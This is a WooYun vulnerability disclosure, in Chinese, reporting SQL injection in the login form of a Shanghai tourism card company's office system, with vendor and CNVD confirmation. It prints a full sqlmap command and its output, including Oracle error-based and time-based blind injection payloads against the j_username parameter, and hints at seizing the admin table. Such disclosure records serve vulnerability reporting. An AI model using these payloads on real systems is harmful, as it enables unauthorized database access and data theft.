当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167354

漏洞标题:上海都市旅游卡某办公系统sql注入

相关厂商:上海都市旅游卡有限公司

漏洞作者: 路人甲

提交时间:2016-01-05 20:02

修复时间:2016-02-22 17:50

公开时间:2016-02-22 17:50

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-05: 细节已通知厂商并且等待厂商处理中
2016-01-08: 厂商已经确认,细节仅向厂商公开
2016-01-18: 细节向核心白帽子及相关领域专家公开
2016-01-28: 细节向普通白帽子公开
2016-02-07: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**
地址:**.**.**.**:8080


注入地址为:http://**.**.**.**:8080/j_acegi_security_check 参数为j_username 验证如图:

aaaaaaaaaaa4225838.jpg


aaaaaaaa04230240.jpg


既然存在注入,放入sqlmap跑跑:

D:\sqlmap>sqlmap.py -u "http://**.**.**.**:8080/j_acegi_security_check" --da
ta "encData=&isusb=&j_password=aaaaa&j_username=1&needauthcode=0&rndData=8427751
78411270" -p "j_username" --level 3 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201511240893}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:06:17
[23:06:17] [INFO] resuming back-end DBMS 'oracle'
[23:06:17] [INFO] testing connection to the target URL
[23:06:17] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: j_username (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: encData=&isusb=&j_password=aaaaa&j_username=1' AND 8775=(SELECT UPP
ER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(118)||CHR(98)||CHR(113)||(S
ELECT (CASE WHEN (8775=8775) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||
CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'AmuL'='AmuL&needauthcode
=0&rndData=842775178411270
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: encData=&isusb=&j_password=aaaaa&j_username=1' AND 4033=DBMS_PIPE.R
ECEIVE_MESSAGE(CHR(122)||CHR(66)||CHR(72)||CHR(83),5) AND 'ylTg'='ylTg&needauthc
ode=0&rndData=842775178411270
---
[23:06:18] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[23:06:18] [INFO] fetching current database
[23:06:18] [INFO] resumed: DSLY0102
[23:06:18] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'DSLY0102'
[23:06:18] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 23:06:18


再看看当前库中存在100张表

CCCCCCCCCCCCCCC31737.jpg


其中存在23个库

aaaaaaaaaaaaaaaaaaaa04231134.jpg


就到这,就不一一看了,只要找到管理员表登陆后台..就可以干很多事了- -

漏洞证明:

注入地址为:**.**.**.**:8080/j_acegi_security_check 参数为j_username 验证如图:

aaaaaaaaaaa4225838.jpg


aaaaaaaa04230240.jpg


既然存在注入,放入sqlmap跑跑:

D:\sqlmap>sqlmap.py -u "**.**.**.**:8080/j_acegi_security_check" --da
ta "encData=&isusb=&j_password=aaaaa&j_username=1&needauthcode=0&rndData=8427751
78411270" -p "j_username" --level 3 --current-db
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-201511240893}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 23:06:17
[23:06:17] [INFO] resuming back-end DBMS 'oracle'
[23:06:17] [INFO] testing connection to the target URL
[23:06:17] [INFO] checking if the target is protected by some kind of WAF/IPS/ID
S
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: j_username (POST)
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: encData=&isusb=&j_password=aaaaa&j_username=1' AND 8775=(SELECT UPP
ER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(118)||CHR(118)||CHR(98)||CHR(113)||(S
ELECT (CASE WHEN (8775=8775) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(122)||
CHR(106)||CHR(107)||CHR(113)||CHR(62))) FROM DUAL) AND 'AmuL'='AmuL&needauthcode
=0&rndData=842775178411270
Type: AND/OR time-based blind
Title: Oracle AND time-based blind
Payload: encData=&isusb=&j_password=aaaaa&j_username=1' AND 4033=DBMS_PIPE.R
ECEIVE_MESSAGE(CHR(122)||CHR(66)||CHR(72)||CHR(83),5) AND 'ylTg'='ylTg&needauthc
ode=0&rndData=842775178411270
---
[23:06:18] [INFO] the back-end DBMS is Oracle
web application technology: JSP
back-end DBMS: Oracle
[23:06:18] [INFO] fetching current database
[23:06:18] [INFO] resumed: DSLY0102
[23:06:18] [WARNING] on Oracle you'll need to use schema names for enumeration a
s the counterpart to database names on other DBMSes
current schema (equivalent to database on Oracle): 'DSLY0102'
[23:06:18] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\**.**.**.**'
[*] shutting down at 23:06:18


再看看当前库中存在100张表

CCCCCCCCCCCCCCC31737.jpg


其中存在23个库

aaaaaaaaaaaaaaaaaaaa04231134.jpg

修复方案:

过滤

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2016-01-08 18:48

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给上海分中心,由其后续协调网站管理单位处置.

最新状态:

暂无